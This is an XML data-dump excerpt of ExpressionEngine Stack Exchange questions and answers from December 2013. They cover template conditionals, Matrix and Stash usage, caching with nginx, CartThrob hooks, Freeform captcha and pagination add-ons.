  <row Id="17295" PostTypeId="2" ParentId="17270" CreationDate="2013-12-02T04:32:10.157" Score="1" Body="&lt;p&gt;The better approach would be to &lt;a href=&quot;https://support.google.com/analytics/answer/1034840?hl=en&quot; rel=&quot;nofollow&quot;&gt;exclude your development IP address/machines from Google Analytics.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the added advantage that your testing/use of the site won't account towards your analytical tracking data.&lt;/p&gt;&#xA;" OwnerUserId="959" LastActivityDate="2013-12-02T04:32:10.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17296" PostTypeId="2" ParentId="17250" CreationDate="2013-12-02T04:40:37.613" Score="2" Body="&lt;p&gt;CE Cache and ExpressionEngine's cache=&quot;yes&quot; are not true caches. I hate that they advertise themselves as &quot;caches&quot; - they are not! They simply cache &lt;em&gt;ExpressionEngine template parsing's output at a very high level&lt;/em&gt;, the entire PHP stack and ExpressionEngine core still needs to run. Not to mention database traffic, even for non-logged in members due to &lt;a href=&quot;http://ellislab.com/forums/viewthread/225325/#1046400&quot; rel=&quot;nofollow&quot;&gt;EE's horrible session management&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're suffering from slow IO performance due to high latency network storage. Absolutely no &quot;cache&quot; plugin or EE core modification is going to solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want true caching, use &lt;a href=&quot;http://www.nginx.org&quot; rel=&quot;nofollow&quot;&gt;nginx&lt;/a&gt; and &lt;a href=&quot;http://wiki.nginx.org/HttpFastcgiModule&quot; rel=&quot;nofollow&quot;&gt;fastcgi_cache&lt;/a&gt; which will give you true caching that will completely bypass PHP/EE stacks. It can very easily be set-up to achieve per-logged in member caches too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're doing this for many of our clients, with &lt;a href=&quot;http://ellislab.com/forums/viewthread/225325/P15/#1046453&quot; rel=&quot;nofollow&quot;&gt;one in particular this method allows us to get hundreds of thousands of hits per second out of EE2&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="959" LastEditorUserId="959" LastEditDate="2013-12-02T05:01:45.977" LastActivityDate="2013-12-02T05:01:45.977" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17298" PostTypeId="1" CreationDate="2013-12-02T06:15:16.817" Score="0" ViewCount="215" Body="&lt;p&gt;I would like to set the value of the date picker field to be the current date by default.  So every time I add a new row, i want that row to show the current date in the datepicker input field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and let me know if you need any other information. I have the following code in my instructions field per &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1552/how-to-add-a-custom-javascript-to-the-new-entry-control-panel&quot;&gt;this post&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;   document.getElementsByClassName('hasDatepicker').value = (new Date()).format(&quot;m/dd/yy&quot;);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't seem to be working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/* EDIT */&#xA;I tried to adjust my code a bit to see if that worked, but it didn't. I am trying to avoid JQuery just in case ther is a loading issue. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    document.getElementsByClassName(''matrix-add&quot;).addEventListener('click', function() {&#xA;        document.getElementsByClassName('event_helper_date').value = (new Date()).format(&quot;m/dd/yy&quot;);&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="804" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-12-04T06:15:55.650" Title="Set new Matrix entry datepicker value to the current date" Tags="|matrix|date|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17299" PostTypeId="2" ParentId="17292" CreationDate="2013-12-02T08:21:45.457" Score="1" Body="&lt;p&gt;Short answer: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slightly longer answer: it could, if you create an extension to cater for it, using Low Search's extension hooks.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-12-02T08:21:45.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17300" PostTypeId="1" CreationDate="2013-12-02T08:32:43.313" Score="1" ViewCount="43" Body="&lt;p&gt;When I run the code below, I get the correct start time for an event, but the same value is output for the event_last_date (the end time that is output is the same value as the start time….)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal sort=&quot;asc&quot; dynamic=&quot;no&quot; calendar_name=&quot;kaharoa-school-events&quot; date_range_start=&quot;today&quot; show_months=&quot;3&quot;}&#xA;&#xA;{display_each_month}                &#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;h3 class=&quot;secondary_title&quot;&amp;gt;{date format=&quot;%F&quot;}&amp;lt;/h3&amp;gt;&amp;lt;/p&amp;gt;&#xA;{if month_event_total == &quot;0&quot;}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;There are no events scheduled this month&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;{/if} &#xA;{events}&#xA;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;{event_start_date format=&quot;%d&quot;} - {title} &amp;lt;/strong&amp;gt; &#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;When:&amp;lt;/strong&amp;gt; {event_first_date format=&quot;%g:%i%a&quot;}&#xA;{if event_never_ends}&#xA;(never ends)&#xA;{if:else}&#xA;{if &quot;{event_first_date format='%Y%m%d%g%i%a'}&quot; != &quot;{event_last_date format='%Y%m%d%g%i%a'}&quot;} &amp;lt;b&amp;gt;to:&amp;lt;/b&amp;gt;&#xA;{if &quot;{event_first_date format=&quot;%Y%m%d&quot;}&quot; != &quot;{event_last_date format=&quot;%Y%m%d&quot;}&quot;}&#xA;{event_last_date format=&quot;%l, %F %j, %Y at %g:%i%a&quot;}&#xA;{if:else}&#xA;{event_last_date format=&quot;%g:%i%a&quot;}&#xA;{/if}&#xA;{/if}&#xA;{/if}&#xA;&amp;lt;/p&amp;gt;&#xA;{if event_location}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Where: {event_location}&amp;lt;/strong&amp;gt;{/if}&#xA;{if event_summary}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Details:&amp;lt;/strong&amp;gt; {event_summary}&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;&amp;lt;/li&amp;gt; &#xA;{/events}                        &#xA;{/display_each_month}         &#xA;{/exp:calendar:cal} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2430" LastEditorUserId="197" LastEditDate="2013-12-04T00:51:08.220" LastActivityDate="2013-12-04T00:51:08.220" Title="Getting wrong event_last_date within {events} loop" Tags="|solspace|solspace-calendar|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17301" PostTypeId="1" AcceptedAnswerId="17540" CreationDate="2013-12-02T08:50:17.213" Score="0" ViewCount="121" Body="&lt;p&gt;How would you to post the 'last time viewed' or the 'last time modified' for a matrix row. Not just the whole entry but specific to Matrix. I also need this to appear in the Cpanel and not on the front end.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I updated this and am just using a form to update the Matrix Row when I click on the link to view the proof image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it is not updating the row.  Below is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; entry_id=&quot;{last_segment}&quot;}&#xA;                        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;ul class=&quot;buttons&quot;&amp;gt;&#xA;                            {project_proof}&#xA;                                {if proof_file}&#xA;                                &amp;lt;li&amp;gt;&#xA;                                    {exp:channel:form&#xA;                                        channel=&quot;projects&quot;&#xA;                                        entry_id=&quot;{last_segment}&quot;&#xA;                                        return=&quot;images/uploads/proofs/{proof_file:filename}.{proof_file:extension}&quot;&#xA;                                    }&#xA;&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_77[row_id_{row_id}][col_id_19]&quot; value=&quot;{current_time format='%F %d, %Y - %g:%i:%s'}&quot; /&amp;gt;&#xA;                                    &amp;lt;button class=&quot;button&quot; type=&quot;submit&quot;&amp;gt;View details&amp;lt;/button&amp;gt;&#xA;&#xA;                                    {/exp:channel:form}&#xA;&#xA;                                &amp;lt;/li&amp;gt;&#xA;                                {/if}&#xA;                            {/project_proof}&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;button&quot; id=&quot;submitChanges&quot;&amp;gt;Submit changes&amp;lt;/button&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="804" LastEditorUserId="804" LastEditDate="2013-12-07T17:03:50.333" LastActivityDate="2013-12-09T10:39:14.407" Title="How can I put last edited timestamp in matrix row" Tags="|matrix|channel-form|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17303" PostTypeId="1" AcceptedAnswerId="17306" CreationDate="2013-12-02T10:58:54.350" Score="0" ViewCount="151" Body="&lt;p&gt;I want to check if two tags have content in them, and set html markup accordingly. &#xA;And I reuse this snippet several places and I'm having inconsistent results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if site_hvite_left == &quot;&quot; OR site_hvite_right == &quot;&quot;}&#xA;    &amp;lt;div class=&quot;row-small&quot;&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some places this works just fine, but other places, I need to add a space in between the quotes for it to make it work. Which makes me think there might be a better way of doing this. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2013-12-02T12:05:04.213" Title="Checking If tags has content or not" Tags="|channel-entries|conditionals|ifelse|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17304" PostTypeId="1" AcceptedAnswerId="17342" CreationDate="2013-12-02T11:57:57.883" Score="2" ViewCount="338" Body="&lt;p&gt;I'm relatively new to ExpressionEngine, and apologise if this seems obtuse!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have channel entries with a lot of fields associated with them (each channel entry will typically have 20+ channel fields), and I wanted to know if there was a way to pass all those fields to my plugin somehow by just sending through the entire entry itself as a parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm trying to avoid something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_news&quot; limit=&quot;10&quot;}&#xA;    {exp:my_plugin:process_something field1=&quot;&quot; field2=&quot;&quot; field3=&quot;&quot; ... field40=&quot;&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an easy and efficient way to send through all those field values to my plugin? Or alternatively, get the entry itself in the plugin and just pass the entry ID as the parameter, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_news&quot; limit=&quot;10&quot;}&#xA;    {exp:my_plugin:process_something entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and then in the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function process_something()&#xA;{&#xA;    $entry_id = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('entry_id');&#xA;    $entry = &amp;lt; some function / method to get the entry and its details &amp;gt; ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something to make this possible? I hope this makes sense, and thank you for any help!&lt;/p&gt;&#xA;" OwnerUserId="2432" LastActivityDate="2013-12-03T09:18:15.510" Title="Passing entire channel entry to plugin" Tags="|ee2|channel-entries|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17305" PostTypeId="2" ParentId="9707" CreationDate="2013-12-02T12:01:28.000" Score="0" Body="&lt;p&gt;I hit this one also just now with an upgrade from EE 2.5.3 to 2.7.2 - turned out it was Structure causing this in my case - to disable the redirect on login I ran this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_extensions SET 'enabled'='n' WHERE class='Structure_ext' AND hook='cp_member_login'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-12-02T12:01:28.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17306" PostTypeId="2" ParentId="17303" CreationDate="2013-12-02T12:05:04.213" Score="1" Body="&lt;p&gt;Try this:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{site_hvite_left}' == '' OR '{site_hvite_right}' == ''}&#xA;    &amp;lt;div class=&quot;row-small&quot;&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. a bit verbose but it should work every time.&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-12-02T12:05:04.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17307" PostTypeId="1" CreationDate="2013-12-02T12:13:20.853" Score="1" ViewCount="52" Body="&lt;p&gt;I want to display Pagination in following format &lt;/p&gt;&#xA;&#xA;&lt;p&gt;page first entry to page last entry of total entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example : in first page i want to display 10 entry so i want to following output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 to 10 of 100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this can be possible ? if possible please guide me.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2091" LastActivityDate="2013-12-02T15:56:35.923" Title="How to display pagination in following formate?" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17308" PostTypeId="1" CreationDate="2013-12-02T12:29:06.777" Score="2" ViewCount="41" Body="&lt;p&gt;i'm working on a website with structure ( 3.3.13) and expression engine (2.7.2). I'm struggling with the menu. The html of the menu has to be like the image (with the same classes and data options):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7j4b4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i create this menu with structure?&lt;/p&gt;&#xA;" OwnerUserId="2433" LastActivityDate="2013-12-02T16:02:13.243" Title="structure of menu with stucture (3.3.13)" Tags="|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17309" PostTypeId="1" CreationDate="2013-12-02T13:03:12.587" Score="0" ViewCount="103" Body="&lt;p&gt;all - I'm trying to find a new way to return a single entry view and list view within a single template using stash and the only thing holding me up - and maybe I'm overlooking a simple solution - is the absence of a url_title parameter in the stash:get_list tag pair.  Here's a bit more detail about what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the main logic template, I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{embed=&quot;layouts/.inside&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;entries_loop&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;&#xA;{exp:low_reorder:entries set=&quot;apis&quot; dynamic=&quot;no&quot; disable=&quot;categories&quot;}&#xA;&#xA;    {stash:entry_title}{title}{/stash:entry_title}&#xA;    {stash:entry_url_title}{url_title}{/stash:entry_url_title}&#xA;    {stash:entry_icon}{cf_api_icon}{/stash:entry_icon}&#xA;    {stash:entry_short_description}{cf_api_short_description}{/stash:entry_short_description}&#xA;&#xA;{/exp:low_reorder:entries}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the .inside layout template, I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:ifelse parse=&quot;inward&quot;}&#xA;                    {if segment_2 == &quot;&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;h1&amp;gt;API Documentation&amp;lt;/h1&amp;gt;&#xA;&#xA;                    &amp;lt;p&amp;gt;Interdum et malesuada fames ac ante ipsum primis in faucibus. Proin convallis, arcu blandit iaculis sodales, orci purus imperdiet libero, nec vestibulum ligula nulla sit amet metus. Proin aliquam ante id sapien scelerisque lobortis. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse eu mattis est, id vulputate erat. Proin suscipit venenatis tristique. Nam aliquet ullamcorper dolor, sed sodales augue varius non. Morbi nisl nisi, placerat ut malesuada eu, lobortis a nisl. Quisque non ultricies nulla. Proin mollis ut nisi at elementum. Aliquam nec lacus quis magna auctor feugiat vitae a velit. Morbi tempor risus non semper vehicula. Praesent mattis ligula nec mattis sollicitudin.&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;Current APIs&amp;lt;/h3&amp;gt;&#xA;&#xA;    {exp:stash:get_list name=&quot;entries_loop&quot;}&#xA;        {if count == &quot;1&quot;}&amp;lt;ul class=&quot;small-block-grid-2 medium-block-grid-3 large-block-grid-3 api-list&quot;&amp;gt;{/if}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='{segment_1}/{entry_url_title}'}&quot;&amp;gt;&amp;lt;img src=&quot;{entry_icon}&quot; alt=&quot;{entry_title}&quot; /&amp;gt;&amp;lt;h4&amp;gt;{entry_title}&amp;lt;/h4&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;p&amp;gt;{entry_short_description}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;    {/exp:stash:get_list}&#xA;&#xA;    {if:else}&#xA;&#xA;    {exp:stash:get_list name=&quot;entries_loop&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot; url_title=&quot;{entry_url_title}&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;large-3 small-3 columns&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{entry_icon}&quot; alt=&quot;{entry_title}&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;large-9 small-9 columns&quot;&amp;gt;&#xA;            &amp;lt;h1&amp;gt;{entry_title}&amp;lt;/h1&amp;gt;&#xA;            {entry_short_description}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;hr/&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;Additional details here&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;h3&amp;gt;Contents&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;ul class=&quot;side-nav&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Item One&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Item Two&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Item Three&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Item Four&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Item Five&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    {/exp:stash:get_list}&#xA;{/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically, what I was trying to do is stash the complete set of entries in the main template, then get that stashed list, conditionally showing all or one, depending on the url (yes, I will have to switch to switchee rather than ifelse add-on to accommodate pagination).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm getting for a result right now is the same entry in either single entry view rather than the one I want.  If the get_list loop has a parameter similar to url_title that I could point at a url segment, I'd be all set. Is there something similar that I can do? I was just trying to be as strategic as possible with the stashing of the content - rather than stash the complete list of entries and the single entry I want to see separately, I thought I could limit the get_list to a single entry in a way that would mirror how that could be done in an entries loop.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-03T10:02:28.697" Title="Limiting stash:get_list to specific entry based on param or url?" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17310" PostTypeId="2" ParentId="17309" CreationDate="2013-12-02T13:35:09.153" Score="1" Body="&lt;p&gt;If your ifelse is handling segment3 then when you want to show single entry, could you use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;entries&quot; match=&quot;#^{segment_3}$#&quot; against=&quot;entry_URL_title&quot;}&#xA;...{snippet with layout}&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically use the match function against the URL title. It has to be a regex. Have replied via phone so excuse the shortness of my reply.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="289" LastEditDate="2013-12-03T10:02:28.697" LastActivityDate="2013-12-03T10:02:28.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17311" PostTypeId="2" ParentId="17304" CreationDate="2013-12-02T14:25:09.653" Score="1" Body="&lt;p&gt;By default plugin tags inside modules is executed before parent module. To change the order you need to add parse=&quot;inward&quot; parameter to exp:channel:entries tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_news&quot; limit=&quot;10&quot; parse=&quot;inward&quot;}&#xA;    {exp:my_plugin:process_something entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-12-02T22:48:48.890" LastActivityDate="2013-12-02T22:48:48.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17312" PostTypeId="1" AcceptedAnswerId="17316" CreationDate="2013-12-02T14:43:02.587" Score="3" ViewCount="1904" Body="&lt;p&gt;I have always displayed a channel entry's title like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot;}{embed=&quot;partials/.header&quot; page_title=&quot;{title}&quot;}{/exp:channel:entries}&#xA;  Body&#xA;{embed=&quot;partials/.footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best way of including the entry's title in the header partial template of the html?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// .header&#xA;&amp;lt;head&amp;gt;&#xA; &amp;lt;title&amp;gt;{embed:page_title}&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-12-03T18:53:28.733" Title="dynamically displaying page titles" Tags="|channel-entries|channel|embeds|template-partials|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17314" PostTypeId="1" AcceptedAnswerId="17352" CreationDate="2013-12-02T14:47:49.730" Score="0" ViewCount="192" Body="&lt;p&gt;May be a stupid question, but I just can't seem to find any documentation on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I set up a hook in cartthrob? I need to do some special calculations on the tax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cartthrob-&amp;gt;core-&amp;gt;hooks-&amp;gt;set_hook(&quot;cart_tax_end&quot;);&#xA;public function cart_tax_end($tax) {&#xA;    return 200;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that didn't seem to do anything...&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2013-12-03T13:26:05.010" Title="Cartthrob - setting up hooks" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17315" PostTypeId="1" CreationDate="2013-12-02T14:48:58.757" Score="1" ViewCount="163" Body="&lt;p&gt;I'm using Freeform pro 4.1.3 and everything is working great with the default EE captcha, etc. However, when your captcha field is incorrect or not filled in, all of the data is lost on submit. This is a non-https page. Am I missing a setting somewhere?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-12-02T15:26:41.197" Title="Solspace Freeform Pro Captcha Error erases all form data" Tags="|solspace-freeform|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17316" PostTypeId="2" ParentId="17312" CreationDate="2013-12-02T15:18:52.750" Score="5" Body="&lt;p&gt;I recommend using &lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SEO Lite&lt;/strong&gt;&lt;/a&gt;. It will save you from having to open up a channel:entries tag just to grab the title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus it can be used for a meta description tag (which is also useful for og:description and social share text). And it has a variety of useful &lt;a href=&quot;http://wedoaddons.com/addon/seo-lite/documentation#parameters&quot; rel=&quot;nofollow&quot;&gt;parameters&lt;/a&gt; to help you pull the right title and to add prefixes or suffixes to your title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just install the module and it creates a tab in the publish form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR...if you want something even simpler and only care about &lt;em&gt;titles&lt;/em&gt;, then the &lt;a href=&quot;http://gotolow.com/addons/low-title&quot; rel=&quot;nofollow&quot;&gt;Low Title&lt;/a&gt; plugin works great for that.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-03T16:39:45.620" LastActivityDate="2013-12-03T16:39:45.620" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17317" PostTypeId="2" ParentId="17315" CreationDate="2013-12-02T15:26:41.197" Score="2" Body="&lt;p&gt;I had my fields hard-coded instead of using {freeform:form} tag as mentioned here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/17716/#63420&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/17716/#63420&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-12-02T15:26:41.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17318" PostTypeId="2" ParentId="17307" CreationDate="2013-12-02T15:56:35.923" Score="2" Body="&lt;p&gt;You can do most of this with the default &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/pagination_page.html&quot; rel=&quot;nofollow&quot;&gt;EE pagination tags&lt;/a&gt;, but I think in order to get the last number of the entries on the page you should check out the &lt;a href=&quot;http://devot-ee.com/add-ons/ab-pagination&quot; rel=&quot;nofollow&quot;&gt;AB Pagination add-on&lt;/a&gt;. Using that add-on makes outputting pagination like &quot;1 to 10 of 100&quot; easy.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-12-02T15:56:35.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17319" PostTypeId="2" ParentId="17092" CreationDate="2013-12-02T16:00:18.790" Score="1" Body="&lt;p&gt;I spoke at length with Chris Newton (Cartthrob developer) and he eventually tracked the problem down to a combination of me using Focus Lab's &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;multi-environment config&lt;/a&gt;, changes in the way that EE 2.7.2 handles &lt;code&gt;$assign_to_config[]&lt;/code&gt; and how this affected CT2.4. We're still working on a fix, but it looks like this was a very specific environment/config issue.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-12-02T16:00:18.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
